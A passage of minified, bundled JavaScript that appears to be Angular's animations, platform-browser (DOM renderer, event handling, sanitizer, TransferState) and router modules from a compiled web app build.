Map,this.domPlayer.addEventListener("finish",()=>this._onFinish())}_preparePlayerBeforeStart(){this._delay?this._resetDomPlayerState():this.domPlayer.pause()}_convertKeyframesToObject(y){const D=[];return y.forEach(Z=>{D.push(Object.fromEntries(Z))}),D}_triggerWebAnimation(y,D,Z){return y.animate(this._convertKeyframesToObject(D),Z)}onStart(y){this._originalOnStartFns.push(y),this._onStartFns.push(y)}onDone(y){this._originalOnDoneFns.push(y),this._onDoneFns.push(y)}onDestroy(y){this._onDestroyFns.push(y)}play(){this._buildPlayer(),this.hasStarted()||(this._onStartFns.forEach(y=>y()),this._onStartFns=[],this._started=!0,this._specialStyles&&this._specialStyles.start()),this.domPlayer.play()}pause(){this.init(),this.domPlayer.pause()}finish(){this.init(),this._specialStyles&&this._specialStyles.finish(),this._onFinish(),this.domPlayer.finish()}reset(){this._resetDomPlayerState(),this._destroyed=!1,this._finished=!1,this._started=!1,this._onStartFns=this._originalOnStartFns,this._onDoneFns=this._originalOnDoneFns}_resetDomPlayerState(){this.domPlayer&&this.domPlayer.cancel()}restart(){this.reset(),this.play()}hasStarted(){return this._started}destroy(){this._destroyed||(this._destroyed=!0,this._resetDomPlayerState(),this._onFinish(),this._specialStyles&&this._specialStyles.destroy(),this._onDestroyFns.forEach(y=>y()),this._onDestroyFns=[])}setPosition(y){void 0===this.domPlayer&&this.init(),this.domPlayer.currentTime=y*this.time}getPosition(){return this.domPlayer.currentTime/this.time}get totalTime(){return this._delay+this._duration}beforeDestroy(){const y=new Map;this.hasStarted()&&this._finalKeyframe.forEach((Z,Le)=>{"offset"!==Le&&y.set(Le,this._finished?Z:on(this.element,Le))}),this.currentSnapshot=y}triggerCallback(y){const D="start"===y?this._onStartFns:this._onDoneFns;D.forEach(Z=>Z()),D.length=0}}class w2{validateStyleProperty(y){return!0}validateAnimatableStyleProperty(y){return!0}matchesElement(y,D){return!1}containsElement(y,D){return Xe(y,D)}getParentElement(y){return Pt(y)}query(y,D,Z){return it(y,D,Z)}computeStyle(y,D,Z){return window.getComputedStyle(y)[D]}animate(y,D,Z,Le,rt,yt=[]){const Ft={duration:Z,delay:Le,fill:0==Le?"both":"forwards"};rt&&(Ft.easing=rt);const Ut=new Map,o1=yt.filter(A1=>A1 instanceof Qn);(function gn(Te,y){return 0===Te||0===y})(Z,Le)&&o1.forEach(A1=>{A1.currentSnapshot.forEach((C1,S1)=>Ut.set(S1,C1))});let l1=function Ct(Te){return Te.length?Te[0]instanceof Map?Te:Te.map(y=>mt(y)):[]}(D).map(A1=>pt(A1));l1=function nn(Te,y,D){if(D.size&&y.length){let Z=y[0],Le=[];if(D.forEach((rt,yt)=>{Z.has(yt)||Le.push(yt),Z.set(yt,rt)}),Le.length)for(let rt=1;rt<y.length;rt++){let yt=y[rt];Le.forEach(Mt=>yt.set(Mt,on(Te,Mt)))}}return y}(y,l1,Ut);const F1=function Vn(Te,y){let D=null,Z=null;return Array.isArray(y)&&y.length?(D=xn(y[0]),y.length>1&&(Z=xn(y[y.length-1]))):y instanceof Map&&(D=xn(y)),D||Z?new v2(Te,D,Z):null}(y,l1);return new Qn(y,l1,Ft,F1)}}var c2=d(6895);let ye=(()=>{class Te extends s._j{constructor(D,Z){super(),this._nextAnimationId=0,this._renderer=D.createRenderer(Z.body,{id:"0",encapsulation:n.ifc.None,styles:[],data:{animation:[]}})}build(D){const Z=this._nextAnimationId.toString();this._nextAnimationId++;const Le=Array.isArray(D)?(0,s.vP)(D):D;return L(this._renderer,null,Z,"register",[Le]),new st(Z,this._renderer)}}return Te.\\u0275fac=function(D){return new(D||Te)(n.LFG(n.FYo),n.LFG(c2.K0))},Te.\\u0275prov=n.Yz7({token:Te,factory:Te.\\u0275fac}),Te})();class st extends s.LC{constructor(y,D){super(),this._id=y,this._renderer=D}create(y,D){return new I(this._id,y,D||{},this._renderer)}}class I{constructor(y,D,Z,Le){this.id=y,this.element=D,this._renderer=Le,this.parentPlayer=null,this._started=!1,this.totalTime=0,this._command("create",Z)}_listen(y,D){return this._renderer.listen(this.element,`@@${this.id}:${y}`,D)}_command(y,...D){return L(this._renderer,this.element,this.id,y,D)}onDone(y){this._listen("done",y)}onStart(y){this._listen("start",y)}onDestroy(y){this._listen("destroy",y)}init(){this._command("init")}hasStarted(){return this._started}play(){this._command("play"),this._started=!0}pause(){this._command("pause")}restart(){this._command("restart")}finish(){this._command("finish")}destroy(){this._command("destroy")}reset(){this._command("reset"),this._started=!1}setPosition(y){this._command("setPosition",y)}getPosition(){return this._renderer.engine.players[+this.id]?.getPosition()??0}}function L(Te,y,D,Z,Le){return Te.setProperty(y,`@@${D}:${Z}`,Le)}const T="@",ue="@.disabled";let gt=(()=>{class Te{constructor(D,Z,Le){this.delegate=D,this.engine=Z,this._zone=Le,this._currentId=0,this._microtaskId=1,this._animationCallbacksBuffer=[],this._rendererCache=new Map,this._cdRecurDepth=0,this.promise=Promise.resolve(0),Z.onRemovalComplete=(rt,yt)=>{const Mt=yt?.parentNode(rt);Mt&&yt.removeChild(Mt,rt)}}createRenderer(D,Z){const rt=this.delegate.createRenderer(D,Z);if(!(D&&Z&&Z.data&&Z.data.animation)){let o1=this._rendererCache.get(rt);return o1||(o1=new Ot("",rt,this.engine,()=>this._rendererCache.delete(rt)),this._rendererCache.set(rt,o1)),o1}const yt=Z.id,Mt=Z.id+"-"+this._currentId;this._currentId++,this.engine.register(Mt,D);const Ft=o1=>{Array.isArray(o1)?o1.forEach(Ft):this.engine.registerTrigger(yt,Mt,D,o1.name,o1)};return Z.data.animation.forEach(Ft),new Jt(this,Mt,rt,this.engine)}begin(){this._cdRecurDepth++,this.delegate.begin&&this.delegate.begin()}_scheduleCountTask(){this.promise.then(()=>{this._microtaskId++})}scheduleListenerCallback(D,Z,Le){D>=0&&D<this._microtaskId?this._zone.run(()=>Z(Le)):(0==this._animationCallbacksBuffer.length&&Promise.resolve(null).then(()=>{this._zone.run(()=>{this._animationCallbacksBuffer.forEach(rt=>{const[yt,Mt]=rt;yt(Mt)}),this._animationCallbacksBuffer=[]})}),this._animationCallbacksBuffer.push([Z,Le]))}end(){this._cdRecurDepth--,0==this._cdRecurDepth&&this._zone.runOutsideAngular(()=>{this._scheduleCountTask(),this.engine.flush(this._microtaskId)}),this.delegate.end&&this.delegate.end()}whenRenderingDone(){return this.engine.whenRenderingDone()}}return Te.\\u0275fac=function(D){return new(D||Te)(n.LFG(n.FYo),n.LFG(si),n.LFG(n.R0b))},Te.\\u0275prov=n.Yz7({token:Te,factory:Te.\\u0275fac}),Te})();class Ot{constructor(y,D,Z,Le){this.namespaceId=y,this.delegate=D,this.engine=Z,this._onDestroy=Le,this.destroyNode=this.delegate.destroyNode?rt=>D.destroyNode(rt):null}get data(){return this.delegate.data}destroy(){this.engine.destroy(this.namespaceId,this.delegate),this.delegate.destroy(),this._onDestroy?.()}createElement(y,D){return this.delegate.createElement(y,D)}createComment(y){return this.delegate.createComment(y)}createText(y){return this.delegate.createText(y)}appendChild(y,D){this.delegate.appendChild(y,D),this.engine.onInsert(this.namespaceId,D,y,!1)}insertBefore(y,D,Z,Le=!0){this.delegate.insertBefore(y,D,Z),this.engine.onInsert(this.namespaceId,D,y,Le)}removeChild(y,D,Z){this.engine.onRemove(this.namespaceId,D,this.delegate,Z)}selectRootElement(y,D){return this.delegate.selectRootElement(y,D)}parentNode(y){return this.delegate.parentNode(y)}nextSibling(y){return this.delegate.nextSibling(y)}setAttribute(y,D,Z,Le){this.delegate.setAttribute(y,D,Z,Le)}removeAttribute(y,D,Z){this.delegate.removeAttribute(y,D,Z)}addClass(y,D){this.delegate.addClass(y,D)}removeClass(y,D){this.delegate.removeClass(y,D)}setStyle(y,D,Z,Le){this.delegate.setStyle(y,D,Z,Le)}removeStyle(y,D,Z){this.delegate.removeStyle(y,D,Z)}setProperty(y,D,Z){D.charAt(0)==T&&D==ue?this.disableAnimations(y,!!Z):this.delegate.setProperty(y,D,Z)}setValue(y,D){this.delegate.setValue(y,D)}listen(y,D,Z){return this.delegate.listen(y,D,Z)}disableAnimations(y,D){this.engine.disableAnimations(y,D)}}class Jt extends Ot{constructor(y,D,Z,Le,rt){super(D,Z,Le,rt),this.factory=y,this.namespaceId=D}setProperty(y,D,Z){D.charAt(0)==T?"."==D.charAt(1)&&D==ue?this.disableAnimations(y,Z=void 0===Z||!!Z):this.engine.process(this.namespaceId,y,D.slice(1),Z):this.delegate.setProperty(y,D,Z)}listen(y,D,Z){if(D.charAt(0)==T){const Le=function Tt(Te){switch(Te){case"body":return document.body;case"document":return document;case"window":return window;default:return Te}}(y);let rt=D.slice(1),yt="";return rt.charAt(0)!=T&&([rt,yt]=function t1(Te){const y=Te.indexOf(".");return[Te.substring(0,y),Te.slice(y+1)]}(rt)),this.engine.listen(this.namespaceId,Le,rt,yt,Mt=>{this.factory.scheduleListenerCallback(Mt._data||-1,Z,Mt)})}return this.delegate.listen(y,D,Z)}}const Bn=[{provide:s._j,useClass:ye},{provide:dn,useFactory:function an(){return new Hn}},{provide:si,useClass:(()=>{class Te extends si{constructor(D,Z,Le,rt){super(D.body,Z,Le)}ngOnDestroy(){this.flush()}}return Te.\\u0275fac=function(D){return new(D||Te)(n.LFG(c2.K0),n.LFG(Gt),n.LFG(dn),n.LFG(n.z2F))},Te.\\u0275prov=n.Yz7({token:Te,factory:Te.\\u0275fac}),Te})()},{provide:n.FYo,useFactory:function W1(Te,y,D){return new gt(Te,y,D)},deps:[a.se,si,n.R0b]}],Dn=[{provide:Gt,useFactory:()=>new w2},{provide:n.QbO,useValue:"BrowserAnimations"},...Bn],sn=[{provide:Gt,useClass:Vt},{provide:n.QbO,useValue:"NoopAnimations"},...Bn];let Yn=(()=>{class Te{static withConfig(D){return{ngModule:Te,providers:D.disableAnimations?sn:Dn}}}return Te.\\u0275fac=function(D){return new(D||Te)},Te.\\u0275mod=n.oAB({type:Te}),Te.\\u0275inj=n.cJS({providers:Dn,imports:[a.b2]}),Te})()},1481:(At,ae,d)=>{"use strict";d.d(ae,{Cb:()=>Fe,Cu:()=>Re,Dx:()=>Xe,H7:()=>nt,b2:()=>x,ki:()=>be,q6:()=>Dt,se:()=>Qe});var n=d(6895),a=d(4650);class s extends n.w_{constructor(){super(...arguments),this.supportsDOMEvents=!0}}class u extends s{static makeCurrent(){(0,n.HT)(new u)}onAndCancel(ot,Ne,ut){return ot.addEventListener(Ne,ut,!1),()=>{ot.removeEventListener(Ne,ut,!1)}}dispatchEvent(ot,Ne){ot.dispatchEvent(Ne)}remove(ot){ot.parentNode&&ot.parentNode.removeChild(ot)}createElement(ot,Ne){return(Ne=Ne||this.getDefaultDocument()).createElement(ot)}createHtmlDocument(){return document.implementation.createHTMLDocument("fakeTitle")}getDefaultDocument(){return document}isElementNode(ot){return ot.nodeType===Node.ELEMENT_NODE}isShadowRoot(ot){return ot instanceof DocumentFragment}getGlobalEventTarget(ot,Ne){return"window"===Ne?window:"document"===Ne?ot:"body"===Ne?ot.body:null}getBaseHref(ot){const Ne=function f(){return c=c||document.querySelector("base"),c?c.getAttribute("href"):null}();return null==Ne?null:function _(Se){E=E||document.createElement("a"),E.setAttribute("href",Se);const ot=E.pathname;return"/"===ot.charAt(0)?ot:`/${ot}`}(Ne)}resetBaseElement(){c=null}getUserAgent(){return window.navigator.userAgent}getCookie(ot){return(0,n.Mx)(document.cookie,ot)}}let E,c=null;const S=new a.OlP("TRANSITION_ID"),C=[{provide:a.ip1,useFactory:function g(Se,ot,Ne){return()=>{Ne.get(a.CZH).donePromise.then(()=>{const ut=(0,n.q)(),Rt=ot.querySelectorAll(`style[ng-transition="${Se}"]`);for(let Zt=0;Zt<Rt.length;Zt++)ut.remove(Rt[Zt])})}},deps:[S,n.K0,a.zs3],multi:!0}];let H=(()=>{class Se{build(){return new XMLHttpRequest}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();const j=new a.OlP("EventManagerPlugins");let U=(()=>{class Se{constructor(Ne,ut){this._zone=ut,this._eventNameToPlugin=new Map,Ne.forEach(Rt=>{Rt.manager=this}),this._plugins=Ne.slice().reverse()}addEventListener(Ne,ut,Rt){return this._findPluginFor(ut).addEventListener(Ne,ut,Rt)}addGlobalEventListener(Ne,ut,Rt){return this._findPluginFor(ut).addGlobalEventListener(Ne,ut,Rt)}getZone(){return this._zone}_findPluginFor(Ne){const ut=this._eventNameToPlugin.get(Ne);if(ut)return ut;const Rt=this._plugins;for(let Zt=0;Zt<Rt.length;Zt++){const a1=Rt[Zt];if(a1.supports(Ne))return this._eventNameToPlugin.set(Ne,a1),a1}throw new Error(`No event manager plugin found for event ${Ne}`)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(j),a.LFG(a.R0b))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();class G{constructor(ot){this._doc=ot}addGlobalEventListener(ot,Ne,ut){const Rt=(0,n.q)().getGlobalEventTarget(this._doc,ot);if(!Rt)throw new Error(`Unsupported event target ${Rt} for event ${Ne}`);return this.addEventListener(Rt,Ne,ut)}}let Q=(()=>{class Se{constructor(){this.usageCount=new Map}addStyles(Ne){for(const ut of Ne)1===this.changeUsageCount(ut,1)&&this.onStyleAdded(ut)}removeStyles(Ne){for(const ut of Ne)0===this.changeUsageCount(ut,-1)&&this.onStyleRemoved(ut)}onStyleRemoved(Ne){}onStyleAdded(Ne){}getAllStyles(){return this.usageCount.keys()}changeUsageCount(Ne,ut){const Rt=this.usageCount;let Zt=Rt.get(Ne)??0;return Zt+=ut,Zt>0?Rt.set(Ne,Zt):Rt.delete(Ne),Zt}ngOnDestroy(){for(const Ne of this.getAllStyles())this.onStyleRemoved(Ne);this.usageCount.clear()}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})(),oe=(()=>{class Se extends Q{constructor(Ne){super(),this.doc=Ne,this.styleRef=new Map,this.hostNodes=new Set,this.resetHostNodes()}onStyleAdded(Ne){for(const ut of this.hostNodes)this.addStyleToHost(ut,Ne)}onStyleRemoved(Ne){const ut=this.styleRef;ut.get(Ne)?.forEach(Zt=>Zt.remove()),ut.delete(Ne)}ngOnDestroy(){super.ngOnDestroy(),this.styleRef.clear(),this.resetHostNodes()}addHost(Ne){this.hostNodes.add(Ne);for(const ut of this.getAllStyles())this.addStyleToHost(Ne,ut)}removeHost(Ne){this.hostNodes.delete(Ne)}addStyleToHost(Ne,ut){const Rt=this.doc.createElement("style");Rt.textContent=ut,Ne.appendChild(Rt);const Zt=this.styleRef.get(ut);Zt?Zt.push(Rt):this.styleRef.set(ut,[Rt])}resetHostNodes(){const Ne=this.hostNodes;Ne.clear(),Ne.add(this.doc.head)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();const Ce={svg:"http://www.w3.org/2000/svg",xhtml:"http://www.w3.org/1999/xhtml",xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/",math:"http://www.w3.org/1998/MathML/"},k=/%COMP%/g,ce=new a.OlP("RemoveStylesOnCompDestory",{providedIn:"root",factory:()=>!1});function le(Se,ot){return ot.flat(100).map(Ne=>Ne.replace(k,Se))}function Oe(Se){return ot=>{if("__ngUnwrap__"===ot)return Se;!1===Se(ot)&&(ot.preventDefault(),ot.returnValue=!1)}}let Qe=(()=>{class Se{constructor(Ne,ut,Rt,Zt){this.eventManager=Ne,this.sharedStylesHost=ut,this.appId=Rt,this.removeStylesOnCompDestory=Zt,this.rendererByCompId=new Map,this.defaultRenderer=new Ye(Ne)}createRenderer(Ne,ut){if(!Ne||!ut)return this.defaultRenderer;const Rt=this.getOrCreateRenderer(Ne,ut);return Rt instanceof De?Rt.applyToHost(Ne):Rt instanceof ze&&Rt.applyStyles(),Rt}getOrCreateRenderer(Ne,ut){const Rt=this.rendererByCompId;let Zt=Rt.get(ut.id);if(!Zt){const a1=this.eventManager,_1=this.sharedStylesHost,G1=this.removeStylesOnCompDestory;switch(ut.encapsulation){case a.ifc.Emulated:Zt=new De(a1,_1,ut,this.appId,G1);break;case a.ifc.ShadowDom:return new bt(a1,_1,Ne,ut);default:Zt=new ze(a1,_1,ut,G1)}Zt.onDestroy=()=>Rt.delete(ut.id),Rt.set(ut.id,Zt)}return Zt}ngOnDestroy(){this.rendererByCompId.clear()}begin(){}end(){}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(U),a.LFG(oe),a.LFG(a.AFp),a.LFG(ce))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();class Ye{constructor(ot){this.eventManager=ot,this.data=Object.create(null),this.destroyNode=null}destroy(){}createElement(ot,Ne){return Ne?document.createElementNS(Ce[Ne]||Ne,ot):document.createElement(ot)}createComment(ot){return document.createComment(ot)}createText(ot){return document.createTextNode(ot)}appendChild(ot,Ne){(dt(ot)?ot.content:ot).appendChild(Ne)}insertBefore(ot,Ne,ut){ot&&(dt(ot)?ot.content:ot).insertBefore(Ne,ut)}removeChild(ot,Ne){ot&&ot.removeChild(Ne)}selectRootElement(ot,Ne){let ut="string"==typeof ot?document.querySelector(ot):ot;if(!ut)throw new Error(`The selector "${ot}" did not match any elements`);return Ne||(ut.textContent=""),ut}parentNode(ot){return ot.parentNode}nextSibling(ot){return ot.nextSibling}setAttribute(ot,Ne,ut,Rt){if(Rt){Ne=Rt+":"+Ne;const Zt=Ce[Rt];Zt?ot.setAttributeNS(Zt,Ne,ut):ot.setAttribute(Ne,ut)}else ot.setAttribute(Ne,ut)}removeAttribute(ot,Ne,ut){if(ut){const Rt=Ce[ut];Rt?ot.removeAttributeNS(Rt,Ne):ot.removeAttribute(`${ut}:${Ne}`)}else ot.removeAttribute(Ne)}addClass(ot,Ne){ot.classList.add(Ne)}removeClass(ot,Ne){ot.classList.remove(Ne)}setStyle(ot,Ne,ut,Rt){Rt&(a.JOm.DashCase|a.JOm.Important)?ot.style.setProperty(Ne,ut,Rt&a.JOm.Important?"important":""):ot.style[Ne]=ut}removeStyle(ot,Ne,ut){ut&a.JOm.DashCase?ot.style.removeProperty(Ne):ot.style[Ne]=""}setProperty(ot,Ne,ut){ot[Ne]=ut}setValue(ot,Ne){ot.nodeValue=Ne}listen(ot,Ne,ut){return"string"==typeof ot?this.eventManager.addGlobalEventListener(ot,Ne,Oe(ut)):this.eventManager.addEventListener(ot,Ne,Oe(ut))}}function dt(Se){return"TEMPLATE"===Se.tagName&&void 0!==Se.content}class bt extends Ye{constructor(ot,Ne,ut,Rt){super(ot),this.sharedStylesHost=Ne,this.hostEl=ut,this.shadowRoot=ut.attachShadow({mode:"open"}),this.sharedStylesHost.addHost(this.shadowRoot);const Zt=le(Rt.id,Rt.styles);for(const a1 of Zt){const _1=document.createElement("style");_1.textContent=a1,this.shadowRoot.appendChild(_1)}}nodeOrShadowRoot(ot){return ot===this.hostEl?this.shadowRoot:ot}appendChild(ot,Ne){return super.appendChild(this.nodeOrShadowRoot(ot),Ne)}insertBefore(ot,Ne,ut){return super.insertBefore(this.nodeOrShadowRoot(ot),Ne,ut)}removeChild(ot,Ne){return super.removeChild(this.nodeOrShadowRoot(ot),Ne)}parentNode(ot){return this.nodeOrShadowRoot(super.parentNode(this.nodeOrShadowRoot(ot)))}destroy(){this.sharedStylesHost.removeHost(this.shadowRoot)}}class ze extends Ye{constructor(ot,Ne,ut,Rt,Zt=ut.id){super(ot),this.sharedStylesHost=Ne,this.removeStylesOnCompDestory=Rt,this.rendererUsageCount=0,this.styles=le(Zt,ut.styles)}applyStyles(){this.sharedStylesHost.addStyles(this.styles),this.rendererUsageCount++}destroy(){this.removeStylesOnCompDestory&&(this.sharedStylesHost.removeStyles(this.styles),this.rendererUsageCount--,0===this.rendererUsageCount&&this.onDestroy?.())}}class De extends ze{constructor(ot,Ne,ut,Rt,Zt){const a1=Rt+"-"+ut.id;super(ot,Ne,ut,Zt,a1),this.contentAttr=function je(Se){return"_ngcontent-%COMP%".replace(k,Se)}(a1),this.hostAttr=function Ze(Se){return"_nghost-%COMP%".replace(k,Se)}(a1)}applyToHost(ot){this.applyStyles(),this.setAttribute(ot,this.hostAttr,"")}createElement(ot,Ne){const ut=super.createElement(ot,Ne);return super.setAttribute(ut,this.contentAttr,""),ut}}let re=(()=>{class Se extends G{constructor(Ne){super(Ne)}supports(Ne){return!0}addEventListener(Ne,ut,Rt){return Ne.addEventListener(ut,Rt,!1),()=>this.removeEventListener(Ne,ut,Rt)}removeEventListener(Ne,ut,Rt){return Ne.removeEventListener(ut,Rt)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();const ve=["alt","control","meta","shift"],We={"\\b":"Backspace","\\t":"Tab","\\x7f":"Delete","\\x1b":"Escape",Del:"Delete",Esc:"Escape",Left:"ArrowLeft",Right:"ArrowRight",Up:"ArrowUp",Down:"ArrowDown",Menu:"ContextMenu",Scroll:"ScrollLock",Win:"OS"},xt={alt:Se=>Se.altKey,control:Se=>Se.ctrlKey,meta:Se=>Se.metaKey,shift:Se=>Se.shiftKey};let Be=(()=>{class Se extends G{constructor(Ne){super(Ne)}supports(Ne){return null!=Se.parseEventName(Ne)}addEventListener(Ne,ut,Rt){const Zt=Se.parseEventName(ut),a1=Se.eventCallback(Zt.fullKey,Rt,this.manager.getZone());return this.manager.getZone().runOutsideAngular(()=>(0,n.q)().onAndCancel(Ne,Zt.domEventName,a1))}static parseEventName(Ne){const ut=Ne.toLowerCase().split("."),Rt=ut.shift();if(0===ut.length||"keydown"!==Rt&&"keyup"!==Rt)return null;const Zt=Se._normalizeKey(ut.pop());let a1="",_1=ut.indexOf("code");if(_1>-1&&(ut.splice(_1,1),a1="code."),ve.forEach(gn=>{const nn=ut.indexOf(gn);nn>-1&&(ut.splice(nn,1),a1+=gn+".")}),a1+=Zt,0!=ut.length||0===Zt.length)return null;const G1={};return G1.domEventName=Rt,G1.fullKey=a1,G1}static matchEventFullKeyCode(Ne,ut){let Rt=We[Ne.key]||Ne.key,Zt="";return ut.indexOf("code.")>-1&&(Rt=Ne.code,Zt="code."),!(null==Rt||!Rt)&&(Rt=Rt.toLowerCase()," "===Rt?Rt="space":"."===Rt&&(Rt="dot"),ve.forEach(a1=>{a1!==Rt&&(0,xt[a1])(Ne)&&(Zt+=a1+".")}),Zt+=Rt,Zt===ut)}static eventCallback(Ne,ut,Rt){return Zt=>{Se.matchEventFullKeyCode(Zt,Ne)&&Rt.runGuarded(()=>ut(Zt))}}static _normalizeKey(Ne){return"esc"===Ne?"escape":Ne}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac}),Se})();const Dt=(0,a.eFA)(a._c5,"browser",[{provide:a.Lbi,useValue:n.bD},{provide:a.g9A,useValue:function _e(){u.makeCurrent()},multi:!0},{provide:n.K0,useFactory:function Je(){return(0,a.RDi)(document),document},deps:[]}]),Pt=new a.OlP(""),Ie=[{provide:a.rWj,useClass:class z{addToWindow(ot){a.dqk.getAngularTestability=(ut,Rt=!0)=>{const Zt=ot.findTestabilityInTree(ut,Rt);if(null==Zt)throw new Error("Could not find testability for element.");return Zt},a.dqk.getAllAngularTestabilities=()=>ot.getAllTestabilities(),a.dqk.getAllAngularRootElements=()=>ot.getAllRootElements(),a.dqk.frameworkStabilizers||(a.dqk.frameworkStabilizers=[]),a.dqk.frameworkStabilizers.push(ut=>{const Rt=a.dqk.getAllAngularTestabilities();let Zt=Rt.length,a1=!1;const _1=function(G1){a1=a1||G1,Zt--,0==Zt&&ut(a1)};Rt.forEach(function(G1){G1.whenStable(_1)})})}findTestabilityInTree(ot,Ne,ut){return null==Ne?null:ot.getTestability(Ne)??(ut?(0,n.q)().isShadowRoot(Ne)?this.findTestabilityInTree(ot,Ne.host,!0):this.findTestabilityInTree(ot,Ne.parentElement,!0):null)}},deps:[]},{provide:a.lri,useClass:a.dDg,deps:[a.R0b,a.eoX,a.rWj]},{provide:a.dDg,useClass:a.dDg,deps:[a.R0b,a.eoX,a.rWj]}],te=[{provide:a.zSh,useValue:"root"},{provide:a.qLn,useFactory:function ct(){return new a.qLn},deps:[]},{provide:j,useClass:re,multi:!0,deps:[n.K0,a.R0b,a.Lbi]},{provide:j,useClass:Be,multi:!0,deps:[n.K0]},{provide:Qe,useClass:Qe,deps:[U,oe,a.AFp,ce]},{provide:a.FYo,useExisting:Qe},{provide:Q,useExisting:oe},{provide:oe,useClass:oe,deps:[n.K0]},{provide:U,useClass:U,deps:[j,a.R0b]},{provide:n.JF,useClass:H,deps:[]},[]];let x=(()=>{class Se{constructor(Ne){}static withServerTransition(Ne){return{ngModule:Se,providers:[{provide:a.AFp,useValue:Ne.appId},{provide:S,useExisting:a.AFp},C]}}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(Pt,12))},Se.\\u0275mod=a.oAB({type:Se}),Se.\\u0275inj=a.cJS({providers:[...te,...Ie],imports:[n.ez,a.hGG]}),Se})(),Xe=(()=>{class Se{constructor(Ne){this._doc=Ne}getTitle(){return this._doc.title}setTitle(Ne){this._doc.title=Ne||""}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:function(Ne){let ut=null;return ut=Ne?new Ne:function ie(){return new Xe((0,a.LFG)(n.K0))}(),ut},providedIn:"root"}),Se})();function Fe(Se){return Se}typeof window<"u"&&window;let be=(()=>{class Se{constructor(){this.store={},this.onSerializeCallbacks={},this.store=function Pe(Se,ot){const Ne=Se.getElementById(ot+"-state");let ut={};if(Ne&&Ne.textContent)try{ut=JSON.parse(function kt(Se){const ot={"&a;":"&","&q;":\'"\',"&s;":"\'","&l;":"<","&g;":">"};return Se.replace(/&[^;]+;/g,Ne=>ot[Ne])}(Ne.textContent))}catch(Rt){console.warn("Exception while restoring TransferState for app "+ot,Rt)}return ut}((0,a.f3M)(n.K0),(0,a.f3M)(a.AFp))}get(Ne,ut){return void 0!==this.store[Ne]?this.store[Ne]:ut}set(Ne,ut){this.store[Ne]=ut}remove(Ne){delete this.store[Ne]}hasKey(Ne){return this.store.hasOwnProperty(Ne)}get isEmpty(){return 0===Object.keys(this.store).length}onSerialize(Ne,ut){this.onSerializeCallbacks[Ne]=ut}toJson(){for(const Ne in this.onSerializeCallbacks)if(this.onSerializeCallbacks.hasOwnProperty(Ne))try{this.store[Ne]=this.onSerializeCallbacks[Ne]()}catch(ut){console.warn("Exception in onSerialize callback: ",ut)}return JSON.stringify(this.store)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275prov=a.Yz7({token:Se,factory:Se.\\u0275fac,providedIn:"root"}),Se})(),Re=(()=>{class Se{}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275mod=a.oAB({type:Se}),Se.\\u0275inj=a.cJS({}),Se})(),nt=(()=>{class Se{}return Se.\\u0275fac=function(Ne){return new(Ne||Se)},Se.\\u0275prov=a.Yz7({token:Se,factory:function(Ne){let ut=null;return ut=Ne?new(Ne||Se):a.LFG(Ee),ut},providedIn:"root"}),Se})(),Ee=(()=>{class Se extends nt{constructor(Ne){super(),this._doc=Ne}sanitize(Ne,ut){if(null==ut)return null;switch(Ne){case a.q3G.NONE:return ut;case a.q3G.HTML:return(0,a.qzn)(ut,"HTML")?(0,a.z3N)(ut):(0,a.EiD)(this._doc,String(ut)).toString();case a.q3G.STYLE:return(0,a.qzn)(ut,"Style")?(0,a.z3N)(ut):ut;case a.q3G.SCRIPT:if((0,a.qzn)(ut,"Script"))return(0,a.z3N)(ut);throw new Error("unsafe value used in a script context");case a.q3G.URL:return(0,a.qzn)(ut,"URL")?(0,a.z3N)(ut):(0,a.mCW)(String(ut));case a.q3G.RESOURCE_URL:if((0,a.qzn)(ut,"ResourceURL"))return(0,a.z3N)(ut);throw new Error(`unsafe value used in a resource URL context (see ${a.JZr})`);default:throw new Error(`Unexpected SecurityContext ${Ne} (see ${a.JZr})`)}}bypassSecurityTrustHtml(Ne){return(0,a.JVY)(Ne)}bypassSecurityTrustStyle(Ne){return(0,a.L6k)(Ne)}bypassSecurityTrustScript(Ne){return(0,a.eBb)(Ne)}bypassSecurityTrustUrl(Ne){return(0,a.LAX)(Ne)}bypassSecurityTrustResourceUrl(Ne){return(0,a.pB0)(Ne)}}return Se.\\u0275fac=function(Ne){return new(Ne||Se)(a.LFG(n.K0))},Se.\\u0275prov=a.Yz7({token:Se,factory:function(Ne){let ut=null;return ut=Ne?new Ne:function fe(Se){return new Ee(Se.get(n.K0))}(a.LFG(a.zs3)),ut},providedIn:"root"}),Se})()},6630:(At,ae,d)=>{"use strict";d.d(ae,{gz:()=>ei,F0:()=>Jn,rH:()=>Q2,Bz:()=>Sr,lC:()=>Oi});var n=d(4650),a=d(5254),s=d(1086),u=d(591);const f=(()=>{function M(){return Error.call(this),this.message="no elements in sequence",this.name="EmptyError",this}return M.prototype=Object.create(Error.prototype),M})();var E=d(3426),_=d(1221),S=d(8514),g=d(4843),C=d(1737),z=d(6498),H=d(8896),j=d(1762),U=d(8929),G=d(6895),Q=d(4850),oe=d(7545),Ce=d(2986),k=d(1059),K=d(2198),se=d(1709),ee=d(3489);function q(M=null){return A=>A.lift(new we(M))}class we{constructor(A){this.defaultValue=A}call(A,p){return p.subscribe(new ce(A,this.defaultValue))}}class ce extends 